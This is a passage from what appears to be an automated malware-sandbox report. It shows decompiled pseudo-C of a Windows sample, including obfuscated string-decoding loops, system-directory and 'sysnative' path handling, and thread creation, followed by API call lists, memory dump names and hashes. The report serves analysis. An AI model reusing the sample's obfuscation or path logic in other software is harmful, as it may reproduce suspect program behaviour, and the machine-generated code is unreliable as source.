				intOrPtr _v52;
				intOrPtr _v56;
				char _v64;
				intOrPtr _v68;
				intOrPtr _v84;
				intOrPtr _v100;
				intOrPtr _v108;
				char _v120;
				char _v128;
				WCHAR* _v136;
				intOrPtr _v144;
				intOrPtr _v148;
				char _v152;
				WCHAR* _v160;
				void* __ebx;
				void* _t114;
				void* _t119;
				void* _t125;
				void* _t126;
				void* _t127;
				void* _t128;
				void* _t134;
				void* _t135;
				void* _t136;
				void* _t137;
				void* _t144;
				void* _t149;
				void* _t150;
				void* _t151;
				void* _t157;
				void* _t158;
				void* _t164;
				void* _t169;
				void* _t174;
				void* _t178;
				void* _t186;
				void* _t191;
				void* _t195;
				void* _t198;
				void* _t199;
				char* _t218;
				void* _t220;
				void* _t221;
				void* _t225;
				char* _t230;
				void* _t232;
				void* _t233;
				void* _t237;
				char* _t242;
				void* _t244;
				void* _t245;
				void* _t249;
				char* _t254;
				void* _t256;
				void* _t257;
				void* _t261;
				char* _t266;
				void* _t268;
				void* _t269;
				void* _t273;
				char* _t278;
				void* _t280;
				void* _t281;
				void* _t285;
				char* _t290;
				void* _t292;
				void* _t293;
				void* _t297;
				char* _t302;
				void* _t304;
				void* _t305;
				void* _t309;
				char* _t314;
				void* _t316;
				void* _t317;
				void* _t321;
				intOrPtr _t328;
				void* _t347;
				char _t348;
				intOrPtr _t349;
				void* _t350;
				intOrPtr _t351;
				void* _t352;
				void* _t353;
				void* _t354;
				void* _t355;
				void* _t356;
				void* _t357;
				void* _t358;
				void* _t359;
				void* _t360;
				char _t361;
				void* _t362;
				void* _t363;
				void* _t364;
				intOrPtr _t365;
				void* _t366;
				intOrPtr _t367;
				void* _t368;
				intOrPtr _t369;
				void* _t370;
				void* _t372;
				intOrPtr _t374;
				void* _t377;
				intOrPtr _t379;
				void* _t380;
				void* _t383;
				intOrPtr _t384;
				void* _t385;
				intOrPtr _t387;
				void* _t388;
				void* _t389;
				intOrPtr _t391;
				void* _t392;
				void* _t393;
				intOrPtr _t395;
				void* _t396;
				void* _t397;
				intOrPtr _t399;
				void* _t400;
				void* _t401;
				void* _t404;
				void* _t405;
				void* _t408;
				void* _t409;
				void* _t412;
				void* _t413;
				void* _t416;
				void* _t417;
				void* _t420;
				void* _t421;
				void* _t422;
				void* _t423;
				intOrPtr* _t424;

				_t423 = __ebp;
				_t422 = __esi;
				_t421 = __edi;
				_t347 = __ecx;
				_t348 = 0xf;
				do {
					_t424 = _t424 - 4;
					_v8 = 0;
					_t348 = _t348 - 1;
				} while (_t348 != 0);
				E0040DF60();
				 *0x41702c = 0x41609a;
				_v8 = 0;
				while(1) {
					_t427 = 0x19 - _v8;
					if(0x19 < _v8) {
						break;
					}
					_t314 =  *0x41702c; // 0x41609a
					_v4 =  *_t314;
					 *0x41702c =  *0x41702c + 1;
					_t316 = E0040DE20();
					_t417 = _t348;
					_push(_t316);
					_push(_t417);
					_t317 = E0040DE20();
					E00405D60(_t427, _v4 * 0xffffffff);
					E0040DE60( &_v8, _t317);
					_push(_v12);
					_t321 = E0040DE20();
					_pop(_t420);
					E0040DFC0(_t420);
					_t348 = _v20;
					E0040DFC0(_t348);
					E0040DE60( &_v20, _t321);
					_v40 = _v40 + 1;
					if(_v40 >= 0) {
						continue;
					}
					break;
				}
				 *0x41702c = 0x4160fe;
				_v8 = 0;
				while(1) {
					_t429 = 2 - _v8;
					if(2 < _v8) {
						break;
					}
					_t302 =  *0x41702c; // 0x41609a
					_v4 =  *_t302;
					 *0x41702c =  *0x41702c + 1;
					_t304 = E0040DE20();
					_t413 = _t348;
					_push(_t304);
					_push(_t413);
					_t305 = E0040DE20();
					E00405D60(_t429, _v4 * 0xffffffff);
					E0040DE60( &_v8, _t305);
					_push(_v8);
					_t309 = E0040DE20();
					_pop(_t416);
					E0040DFC0(_t416);
					_t348 = _v20;
					E0040DFC0(_t348);
					E0040DE60( &_v16, _t309);
					_v40 = _v40 + 1;
					if(_v40 >= 0) {
						continue;
					}
					break;
				}
				 *0x41702c = 0x416103;
				_v8 = 0;
				while(1) {
					_t431 = 3 - _v8;
					if(3 < _v8) {
						break;
					}
					_t290 =  *0x41702c; // 0x41609a
					_v4 =  *_t290;
					 *0x41702c =  *0x41702c + 1;
					_t292 = E0040DE20();
					_t409 = _t348;
					_push(_t292);
					_push(_t409);
					_t293 = E0040DE20();
					E00405D60(_t431, _v4 * 0xffffffff);
					E0040DE60( &_v8, _t293);
					_push(_v4);
					_t297 = E0040DE20();
					_pop(_t412);
					E0040DFC0(_t412);
					_t348 = _v20;
					E0040DFC0(_t348);
					E0040DE60( &_v12, _t297);
					_v40 = _v40 + 1;
					if(_v40 >= 0) {
						continue;
					}
					break;
				}
				 *0x41702c = 0x416101;
				_v8 = 0;
				while(1) {
					_t433 = 1 - _v8;
					if(1 < _v8) {
						break;
					}
					_t278 =  *0x41702c; // 0x41609a
					_v4 =  *_t278;
					 *0x41702c =  *0x41702c + 1;
					_t280 = E0040DE20();
					_t405 = _t348;
					_push(_t280);
					_push(_t405);
					_t281 = E0040DE20();
					E00405D60(_t433, _v4 * 0xffffffff);
					E0040DE60( &_v8, _t281);
					_push(_v0);
					_t285 = E0040DE20();
					_pop(_t408);
					E0040DFC0(_t408);
					_t348 = _v20;
					E0040DFC0(_t348);
					E0040DE60( &_v8, _t285);
					_v40 = _v40 + 1;
					if(_v40 >= 0) {
						continue;
					}
					break;
				}
				 *0x41702c = 0x4160d7;
				_v8 = 0;
				while(1) {
					_t435 = 0xd - _v8;
					if(0xd < _v8) {
						break;
					}
					_t266 =  *0x41702c; // 0x41609a
					_v4 =  *_t266;
					 *0x41702c =  *0x41702c + 1;
					_t268 = E0040DE20();
					_t401 = _t348;
					_push(_t268);
					_push(_t401);
					_t269 = E0040DE20();
					E00405D60(_t435, _v4 * 0xffffffff);
					E0040DE60( &_v8, _t269);
					_push(_a4);
					_t273 = E0040DE20();
					_pop(_t404);
					E0040DFC0(_t404);
					_t348 = _v20;
					E0040DFC0(_t348);
					E0040DE60( &_v4, _t273); // executed
					_v40 = _v40 + 1;
					if(_v40 >= 0) {
						continue;
					}
					break;
				}
				 *0x41702c = 0x4160e5;
				_v8 = 0;
				while(1) {
					_t437 = 0xe - _v8;
					if(0xe < _v8) {
						break;
					}
					_t254 =  *0x41702c; // 0x41609a
					_v4 =  *_t254;
					 *0x41702c =  *0x41702c + 1;
					_t256 = E0040DE20();
					_t397 = _t348;
					_push(_t256);
					_push(_t397);
					_t257 = E0040DE20();
					E00405D60(_t437, _v4 * 0xffffffff);
					E0040DE60( &_v8, _t257);
					_t399 =  *0x417030; // 0x6304d0
					_t261 = E0040DE20();
					_t400 = _t399;
					E0040DFC0(_t400);
					_t348 = _v20;
					E0040DFC0(_t348);
					E0040DE60(0x417030, _t261);
					_v40 = _v40 + 1;
					if(_v40 >= 0) {
						continue;
					}
					break;
				}
				 *0x41702c = 0x4160f4;
				_v8 = 0;
				while(1) {
					_t439 = 9 - _v8;
					if(9 < _v8) {
						break;
					}
					_t242 =  *0x41702c; // 0x41609a
					_v4 =  *_t242;
					 *0x41702c =  *0x41702c + 1;
					_t244 = E0040DE20();
					_t393 = _t348;
					_push(_t244);
					_push(_t393);
					_t245 = E0040DE20();
					E00405D60(_t439, _v4 * 0xffffffff);
					E0040DE60( &_v8, _t245);
					_t395 =  *0x417080; // 0x630500
					_t249 = E0040DE20();
					_t396 = _t395;
					E0040DFC0(_t396);
					_t348 = _v20;
					E0040DFC0(_t348);
					E0040DE60(0x417080, _t249);
					_v40 = _v40 + 1;
					if(_v40 >= 0) {
						continue;
					}
					break;
				}
				 *0x41702c = 0x41608c;
				_v8 = 0;
				while(1) {
					_t441 = 4 - _v8;
					if(4 < _v8) {
						break;
					}
					_t230 =  *0x41702c; // 0x41609a
					_v4 =  *_t230;
					 *0x41702c =  *0x41702c + 1;
					_t232 = E0040DE20();
					_t389 = _t348;
					_push(_t232);
					_push(_t389);
					_t233 = E0040DE20();
					E00405D60(_t441, _v4 * 0xffffffff);
					E0040DE60( &_v8, _t233);
					_t391 =  *0x41705c; // 0x637d30
					_t237 = E0040DE20();
					_t392 = _t391;
					E0040DFC0(_t392);
					_t348 = _v20;
					E0040DFC0(_t348);
					E0040DE60(0x41705c, _t237); // executed
					_v40 = _v40 + 1;
					if(_v40 >= 0) {
						continue;
					}
					break;
				}
				 *0x41702c = 0x41610b;
				_v8 = 0;
				while(1) {
					_t443 = 3 - _v8;
					if(3 < _v8) {
						break;
					}
					_t218 =  *0x41702c; // 0x41609a
					_v4 =  *_t218;
					 *0x41702c =  *0x41702c + 1;
					_t220 = E0040DE20();
					_t385 = _t348;
					_push(_t220);
					_push(_t385);
					_t221 = E0040DE20();
					E00405D60(_t443, _v4 * 0xffffffff);
					E0040DE60( &_v8, _t221);
					_t387 =  *0x417058; // 0x638af0
					_t225 = E0040DE20();
					_t388 = _t387;
					E0040DFC0(_t388);
					_t348 = _v20;
					E0040DFC0(_t348);
					E0040DE60(0x417058, _t225);
					_v40 = _v40 + 1;
					_t444 = _v40;
					if(_v40 >= 0) {
						continue;
					}
					break;
				}
				_t349 =  *0x417058; // 0x638af0
				_t114 = E0040DE20();
				_t350 = _t349;
				E0040DFC0(_t350);
				_t351 = _a8;
				E0040DFC0(_t351);
				E0040DE60(0x417058, _t114);
				_t119 = E0040DE20();
				_t352 = _t351;
				_push(_t119);
				_push(_v4);
				E00403275(_t421, _t423);
				E0040DE60( &_v0, _v8);
				_v4 = E004097FE();
				 *0x41704c = GetModuleHandleW(0);
				_t125 = E0040DE20();
				_t353 = _t352;
				_push(_t125);
				_t126 = E0040DE20();
				_t354 = _t353;
				_push(_t126);
				_t127 = E0040DE20();
				_t355 = _t354;
				_push(_t127);
				_t128 = E0040DE20();
				_t356 = _t355;
				E00405182(E0040D0A0( *0x417040, 1, _t128));
				_v64 = _v64 + _t356;
				E00405E50(_t347, _t444);
				_push( &_v20);
				E0040DE60();
				_t134 = E0040DE20();
				_t357 = _t356;
				_push(_t134);
				_t135 = E0040DE20();
				_t358 = _t357;
				_push(_t135);
				_t136 = E0040DE20();
				_t359 = _t358;
				_push(_t136);
				_t137 = E0040DE20();
				_t360 = _t359;
				E00405182(E0040D0A0(_v28, 1, _t137));
				 *_t424 =  *_t424 + _t360;
				E00405E50(_t347, _t444);
				_push( &_v48);
				E0040DE60();
				_v56 = E00402E9D(_v56);
				_t144 = E0040DE20();
				_t361 = _t360;
				E004051A0(E004021A4(_t347, _t361, _t421, _t422, _v56, _t144));
				E0040195B(_t361);
				E0040460E(_t361, _t422, _v64);
				_t149 = E0040DE20();
				_t362 = _t361;
				_push(_t149);
				_push(_v100);
				_push(_v68 + 4);
				_pop(_t150);
				_t151 = E00405100(_t150);
				E0040358D(_t422);
				E0040DE60(0x417048, _t151);
				PathRemoveBackslashW( *0x417048);
				E0040213E(_v84);
				_t157 = E0040DE20();
				_t363 = _t362;
				_push(_t157);
				_t158 = E0040DE20();
				_t364 = _t363;
				E00402BFA(_t444,  *0x417048);
				E00405182(E0040E020(_t347));
				_v144 = _v144 + _t364;
				E004051A0(E00409860(_v108, _t158));
				_t365 =  *0x417024; // 0x638958
				_t164 = E0040DE20();
				_t366 = _t365;
				E0040DFC0(_t366);
				_t367 =  *0x417058; // 0x638af0
				E0040DFC0(_t367);
				E0040DE60(0x417058, _t164);
				_t169 = E0040DE20();
				_t368 = _t367;
				E00401E55(_t368, _t422, _t444, _v128);
				E0040DE60( &_v120, _t169);
				E00403855(_t347, _t421);
				_t369 =  *0x417038; // 0x6389d0
				_t174 = E0040DE20();
				_t370 = _t369;
				E0040DFC0(_t370);
				E0040DE60( &_v128, _t174);
				PathQuoteSpacesW(_v136);
				_push(_v136);
				_t178 = E0040DE20();
				_pop(_t372);
				E0040DFC0(_t372);
				E0040DFC0(0x416026);
				_t374 = _v148;
				E0040DFC0(_t374);
				E0040DE60( &_v152, _t178);
				PathQuoteSpacesW(_v160);
				_t328 =  *0x417060; // 0x0
				_t445 = _t328 - 1;
				if(_t328 != 1) {
					E00402CA9(_t421, _t422, _a44);
				} else {
					 *0x417010 = E00405492(_t328, E00402CA9, _a44);
				}
				_push(_t374);
				_push(E0040DE20());
				_push(_a28);
				_t186 = E0040DE20();
				_pop(_t377);
				_push(_t186);
				E0040DFC0(_t377);
				E0040DFC0(0x416026);
				_t379 = _a44;
				E0040DFC0(_t379);
				E0040E020(_t347);
				_t191 = E0040DE20();
				_t380 = _t379;
				_push(_t191);
				_push(_t380);
				E0040A795(_t445, E0040DE20());
				E0040E020(_t347);
				_push(_a20);
				_t195 = E0040DE20();
				_pop(_t383);
				E0040DFC0(_t383);
				_t384 = _v0;
				_t198 = E00405182(E0040DFC0(_t384));
				_v36 = _v36 + _t384;
				_t199 = E00405182(_t198);
				_v32 = _v32 + _t384;
				E00405182(_t199);
				_v28 = _v28 + _t384;
				_a20 = E004051A0(E00402022(), _t195);
				_push(_a20);
				E00401FA9(_t328);
				return E0040DEF0(E0040DEF0(E0040DEF0(E0040DEF0(E0040DEF0(E0040DEF0(E0040DEF0(E0040DEF0(E0040DEF0(E0040DEF0(0, _v0), _a4), _v36), _v36), _v48), _v40), _v12), _v36), _v44), _v52);
			}

0x00403df3
0x00403df3
0x00403df3
0x00403df3
0x00403df4
0x00403df9
0x00403df9
0x00403dfc
0x00403e03
0x00403e03
0x00403e06
0x00403e10
0x00403e15
0x00403e1e
0x00403e23
0x00403e26
0x00000000
0x00000000
0x00403e28
0x00403e30
0x00403e34
0x00403e3b
0x00403e40
0x00403e41
0x00403e42
0x00403e43
0x00403e52
0x00403e5c
0x00403e65
0x00403e66
0x00403e6b
0x00403e6e
0x00403e73
0x00403e78
0x00403e82
0x00403e87
0x00403e8a
0x00000000
0x00000000
0x00000000
0x00403e8a
0x00403e91
0x00403e96
0x00403e9f
0x00403ea4
0x00403ea7
0x00000000
0x00000000
0x00403ea9
0x00403eb1
0x00403eb5
0x00403ebc
0x00403ec1
0x00403ec2
0x00403ec3
0x00403ec4
0x00403ed3
0x00403edd
0x00403ee6
0x00403ee7
0x00403eec
0x00403eef
0x00403ef4
0x00403ef9
0x00403f03
0x00403f08
0x00403f0b
0x00000000
0x00000000
0x00000000
0x00403f0b
0x00403f12
0x00403f17
0x00403f20
0x00403f25
0x00403f28
0x00000000
0x00000000
0x00403f2a
0x00403f32
0x00403f36
0x00403f3d
0x00403f42
0x00403f43
0x00403f44
0x00403f45
0x00403f54
0x00403f5e
0x00403f67
0x00403f68
0x00403f6d
0x00403f70
0x00403f75
0x00403f7a
0x00403f84
0x00403f89
0x00403f8c
0x00000000
0x00000000
0x00000000
0x00403f8c
0x00403f93
0x00403f98
0x00403fa1
0x00403fa6
0x00403fa9
0x00000000
0x00000000
0x00403fab
0x00403fb3
0x00403fb7
0x00403fbe
0x00403fc3
0x00403fc4
0x00403fc5
0x00403fc6
0x00403fd5
0x00403fdf
0x00403fe8
0x00403fe9
0x00403fee
0x00403ff1
0x00403ff6
0x00403ffb
0x00404005
0x0040400a
0x0040400d
0x00000000
0x00000000
0x00000000
0x0040400d
0x00404014
0x00404019
0x00404022
0x00404027
0x0040402a
0x00000000
0x00000000
0x0040402c
0x00404034
0x00404038
0x0040403f
0x00404044
0x00404045
0x00404046
0x00404047
0x00404056
0x00404060
0x00404069
0x0040406a
0x0040406f
0x00404072
0x00404077
0x0040407c
0x00404086
0x0040408b
0x0040408e
0x00000000
0x00000000
0x00000000
0x0040408e
0x00404095
0x0040409a
0x004040a3
0x004040a8
0x004040ab
0x00000000
0x00000000
0x004040ad
0x004040b5
0x004040b9
0x004040c0
0x004040c5
0x004040c6
0x004040c7
0x004040c8
0x004040d7
0x004040e1
0x004040e6
0x004040ed
0x004040f2
0x004040f5
0x004040fa
0x004040ff
0x0040410b
0x00404110
0x00404113
0x00000000
0x00000000
0x00000000
0x00404113
0x0040411a
0x0040411f
0x00404128
0x0040412d
0x00404130
0x00000000
0x00000000
0x00404132
0x0040413a
0x0040413e
0x00404145
0x0040414a
0x0040414b
0x0040414c
0x0040414d
0x0040415c
0x00404166
0x0040416b
0x00404172
0x00404177
0x0040417a
0x0040417f
0x00404184
0x00404190
0x00404195
0x00404198
0x00000000
0x00000000
0x00000000
0x00404198
0x0040419f
0x004041a4
0x004041ad
0x004041b2
0x004041b5
0x00000000
0x00000000
0x004041b7
0x004041bf
0x004041c3
0x004041ca
0x004041cf
0x004041d0
0x004041d1
0x004041d2
0x004041e1
0x004041eb
0x004041f0
0x004041f7
0x004041fc
0x004041ff
0x00404204
0x00404209
0x00404215
0x0040421a
0x0040421d
0x00000000
0x00000000
0x00000000
0x0040421d
0x00404224
0x00404229
0x00404232
0x00404237
0x0040423a
0x00000000
0x00000000
0x0040423c
0x00404244
0x00404248
0x0040424f
0x00404254
0x00404255
0x00404256
0x00404257
0x00404266
0x00404270
0x00404275
0x0040427c
0x00404281
0x00404284
0x00404289
0x0040428e
0x0040429a
0x0040429f
0x0040429f
0x004042a2
0x00000000
0x00000000
0x00000000
0x004042a2
0x004042a4
0x004042ab
0x004042b0
0x004042b3
0x004042b8
0x004042bd
0x004042c9
0x004042cf
0x004042d4
0x004042d5
0x004042d6
0x004042de
0x004042e8
0x004042f2
0x00404300
0x00404306
0x0040430b
0x0040430c
0x0040430e
0x00404313
0x00404314
0x00404316
0x0040431b
0x0040431c
0x0040431e
0x00404323
0x00404335
0x0040433a
0x0040433d
0x00404346
0x00404347
0x0040434d
0x00404352
0x00404353
0x00404355
0x0040435a
0x0040435b
0x0040435d
0x00404362
0x00404363
0x00404365
0x0040436a
0x0040437a
0x0040437f
0x00404382
0x0040438b
0x0040438c
0x0040439a
0x0040439f
0x004043a4
0x004043af
0x004043b4
0x004043bd
0x004043c3
0x004043c8
0x004043c9
0x004043ca
0x004043d5
0x004043d6
0x004043d7
0x004043dd
0x004043e9
0x004043f4
0x004043fd
0x00404403
0x00404408
0x00404409
0x0040440b
0x00404410
0x00404418
0x00404426
0x0040442b
0x00404434
0x00404439
0x00404440
0x00404445
0x00404448
0x0040444d
0x00404454
0x00404460
0x00404466
0x0040446b
0x00404471
0x0040447b
0x00404480
0x00404485
0x0040448c
0x00404491
0x00404494
0x0040449e
0x004044a7
0x004044b0
0x004044b1
0x004044b6
0x004044b9
0x004044c4
0x004044c9
0x004044ce
0x004044d8
0x004044e1
0x004044e6
0x004044ec
0x004044ef
0x0040450d
0x004044f1
0x00404502
0x00404502
0x00404512
0x00404519
0x0040451e
0x0040451f
0x00404524
0x00404525
0x00404527
0x00404532
0x00404537
0x0040453c
0x00404541
0x00404547
0x0040454c
0x0040454d
0x0040454e
0x00404556
0x0040455b
0x00404564
0x00404565
0x0040456a
0x0040456d
0x00404572
0x0040457c
0x00404581
0x00404584
0x00404589
0x0040458d
0x00404592
0x004045a0
0x004045a4
0x004045a8
0x0040460d

APIs

Part of subcall function 0040DE60: TlsGetValue.KERNEL32(0000001B,00000000,00000000), ref: 0040DE6C
Part of subcall function 0040DE60: RtlAllocateHeap.NTDLL(00630000,00000000,?), ref: 0040DE99

Part of subcall function 0040DE20: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE26
Part of subcall function 0040DE20: TlsGetValue.KERNEL32(0000001B), ref: 0040DE35
Part of subcall function 0040DE20: SetLastError.KERNEL32(?), ref: 0040DE4B

Part of subcall function 0040DFC0: wcslen.MSVCRT ref: 0040DFD7

Part of subcall function 0040DE60: RtlReAllocateHeap.NTDLL(00630000,00000000,?,?), ref: 0040DEBC

GetModuleHandleW.KERNEL32(00000000,?,?,?,00000000,00000000,?,00638AF0,00000000,00000000), ref: 004042FB
PathRemoveBackslashW.SHLWAPI(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 004043F4

Part of subcall function 00402BFA: GetShortPathNameW.KERNEL32 ref: 00402C34

Part of subcall function 0040E020: TlsGetValue.KERNEL32(0000001B,?,?,00401DCE,00000000,00000000,00000000,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015,00000001,00000000), ref: 0040E02A

Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,00402FDE,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189

Part of subcall function 00409860: SetEnvironmentVariableW.KERNELBASE(00638AF0,00638AF0,00404434,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409879

Part of subcall function 00401E55: PathQuoteSpacesW.SHLWAPI(?,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00404476,00000000,00000000,00000000,00638AF0,00638958,00000000,00000000), ref: 00401E8A

PathQuoteSpacesW.SHLWAPI(00000000,00000001,006389D0,00000000,00000000,00000000,00000000,00000000,00638AF0,00638958,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004044A7
PathQuoteSpacesW.SHLWAPI(00000000,00000000,00000000,00416026,00000000,00000000,00000000,00000001,006389D0,00000000,00000000,00000000,00000000,00000000,00638AF0,00638958), ref: 004044E1

Part of subcall function 00405492: CreateThread.KERNEL32 ref: 004054AB
Part of subcall function 00405492: EnterCriticalSection.KERNEL32(004176A0,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 004054BD
Part of subcall function 00405492: WaitForSingleObject.KERNEL32(00000008,00000000,00000000,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000), ref: 004054D4
Part of subcall function 00405492: CloseHandle.KERNEL32(00000008,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 004054E0
Part of subcall function 00405492: LeaveCriticalSection.KERNEL32(004176A0,?,?,?,?,00402E2C,00000000,00000000,?,0000000A,?,00000000,00000001,00000000,00000000,00000000), ref: 00405523

Strings

`A, xrefs: 00404090
0}c, xrefs: 004041F0, 0040420E, 00404214
&`A, xrefs: 004044BE
&`A, xrefs: 0040452C

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Path$Value$QuoteSpaces$AllocateCriticalErrorHandleHeapLastSection$BackslashCloseCreateEnterEnvironmentLeaveModuleNameObjectRemoveShortSingleThreadVariableWaitwcslen
String ID: &`A$&`A$0}c$`A
API String ID: 1881381519-3447332816
Opcode ID: d8c64dcd585f1b5e06573cdc086111ceee2949358ebd607d45979ef17bbfe3ff
Instruction ID: 95625e34f548e5502c8bb68b533fb61ff434c3c21d69ae2a44b2ba18bfe99ca0
Opcode Fuzzy Hash: d8c64dcd585f1b5e06573cdc086111ceee2949358ebd607d45979ef17bbfe3ff
Instruction Fuzzy Hash: 1822E9B5914700AED200BBF1DD8197F77BDEB98718F10D83FB540AA192CA3CD8465B69

Uniqueness

Uniqueness Score: -1.00%

Function 00403275, Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 176
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00403275(void* __edi, void* __ebp, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a24, intOrPtr _a28, intOrPtr _a36) {
				intOrPtr _v0;
				char _v8;
				char _v12;
				WCHAR* _v16;
				char _v24;
				WCHAR* _v32;
				char _v36;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v52;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _t43;
				void* _t45;
				void* _t52;
				void* _t54;
				void* _t55;
				void* _t56;
				void* _t62;
				void* _t69;
				void* _t75;
				void* _t80;
				void* _t90;
				void* _t106;
				intOrPtr _t108;
				void* _t109;
				void* _t112;
				void* _t113;
				void* _t114;
				void* _t117;
				void* _t120;
				void* _t123;
				intOrPtr _t125;
				void* _t126;
				void* _t128;
				void* _t129;
				void* _t130;

				_t129 = __ebp;
				_t128 = __edi;
				_t106 = 7;
				do {
					_t130 = _t130 - 4;
					_v8 = 0;
					_t106 = _t106 - 1;
				} while (_t106 != 0);
				E004051A0(E0040DF60(), _a36);
				E00405060(_t130, _a24);
				_t108 = _a28;
				E00405060( &_v8, _t108);
				if(E00402BC1() == 0 || E0040559A() == 0x41) {
					_t43 = 0;
				} else {
					_t43 = 1;
				}
				if(_t43 == 0) {
					_t45 = E0040DE20();
					_t109 = _t108;
					_push(_t45);
					E00406260(_t128, 0x800, E0040DE20());
					E0040DE60( &_v8, _t109);
					GetSystemDirectoryW(_v16, 0x800);
					PathAddBackslashW(_v16);
				} else {
					_t62 = E0040DE20();
					_t114 = _t108;
					_push(_t62);
					E00406260(_t128, 0x800, E0040DE20());
					E0040DE60( &_v8, _t114); // executed
					GetWindowsDirectoryW(_v16, 0x800);
					PathAddBackslashW(_v16);
					_push(_v16);
					_t69 = E0040DE20();
					_pop(_t117);
					E0040DFC0(_t117);
					E0040DFC0(L"sysnative");
					E0040DE60( &_v24, _t69);
					PathAddBackslashW(_v32);
					_push(_v32);
					_t75 = E0040DE20();
					_pop(_t120);
					E0040DFC0(_t120);
					E0040DFC0(_v44);
					E0040DE60( &_v36, _t75);
					_push(_v48);
					_t80 = E0040DE20();
					_pop(_t123);
					E0040DFC0(_t123);
					E0040DFC0(_v60);
					_t125 = _v60;
					E0040DFC0(_t125);
					E0040DE60( &_v52, _t80);
					if(E0040AD60(_t129, 0, _v64) == 0) {
						_a12 = 0;
					} else {
						_a12 = 1;
						E0040A970(0);
					}
					if(E0040AD60(_t129, 0, _a8) == 0) {
						_a16 = 0;
					} else {
						_a16 = 1;
						E0040A970(0);
					}
					if(_a12 + _a16 == 0) {
						_t90 = E0040DE20();
						_t126 = _t125;
						_push(_t90);
						E00406260(_t128, 0x800, E0040DE20());
						E0040DE60( &_v8, _t126);
						GetSystemDirectoryW(_v16, 0x800);
						PathAddBackslashW(_v16);
					}
				}
				_push(_v0);
				_t52 = E0040DE20();
				_pop(_t112);
				E0040DFC0(_t112);
				_t54 = _t52;
				_t55 = E00405170();
				_t113 = _t54;
				_t56 = _t55 + _t113;
				return E0040DEF0(E0040DEF0(E0040DEF0(E0040DEF0(E0040DEF0(_t56, _a8), _v12), _v12), _v12), _v12);
			}

0x00403275
0x00403275
0x00403276
0x0040327b
0x0040327b
0x0040327e
0x00403285
0x00403285
0x00403291
0x0040329d
0x004032a2
0x004032aa
0x004032b6
0x004032cb
0x004032c4
0x004032c4
0x004032c4
0x004032cf
0x0040343c
0x00403441
0x00403442
0x00403450
0x0040345a
0x00403468
0x00403471
0x004032d5
0x004032d6
0x004032db
0x004032dc
0x004032ea
0x004032f4
0x00403302
0x0040330b
0x00403314
0x00403315
0x0040331a
0x0040331d
0x00403328
0x00403332
0x0040333b
0x00403344
0x00403345
0x0040334a
0x0040334d
0x00403357
0x00403361
0x0040336a
0x0040336b
0x00403370
0x00403373
0x0040337d
0x00403382
0x00403387
0x00403391
0x004033a6
0x004033bc
0x004033a8
0x004033a8
0x004033b5
0x004033b5
0x004033d4
0x004033ea
0x004033d6
0x004033d6
0x004033e3
0x004033e3
0x004033fc
0x004033ff
0x00403404
0x00403405
0x00403413
0x0040341d
0x0040342b
0x00403434
0x00403434
0x00403439
0x0040347a
0x0040347b
0x00403480
0x00403483
0x00403488
0x0040348a
0x0040348f
0x00403490
0x004034ce

APIs

GetWindowsDirectoryW.KERNEL32(00000000,00000800,00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 00403302
PathAddBackslashW.SHLWAPI(00000000,00000000,00000800,00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 0040330B
GetSystemDirectoryW.KERNEL32(00000000,00000800), ref: 0040342B
PathAddBackslashW.SHLWAPI(00000000,00000000,00000800,00000000,00000800,00000000,00000000,00000000,00000800,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00403434

Part of subcall function 0040DE60: RtlReAllocateHeap.NTDLL(00630000,00000000,?,?), ref: 0040DEBC

PathAddBackslashW.SHLWAPI(00000000,00000000,sysnative,00000000,00000000,00000000,00000000,00000800,00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 0040333B

Part of subcall function 0040DE20: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE26
Part of subcall function 0040DE20: TlsGetValue.KERNEL32(0000001B), ref: 0040DE35
Part of subcall function 0040DE20: SetLastError.KERNEL32(?), ref: 0040DE4B

Part of subcall function 0040DE60: TlsGetValue.KERNEL32(0000001B,00000000,00000000), ref: 0040DE6C
Part of subcall function 0040DE60: RtlAllocateHeap.NTDLL(00630000,00000000,?), ref: 0040DE99

GetSystemDirectoryW.KERNEL32(00000000,00000800), ref: 00403468
PathAddBackslashW.SHLWAPI(00000000,00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 00403471

Strings

sysnative, xrefs: 00403322, 00403327

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
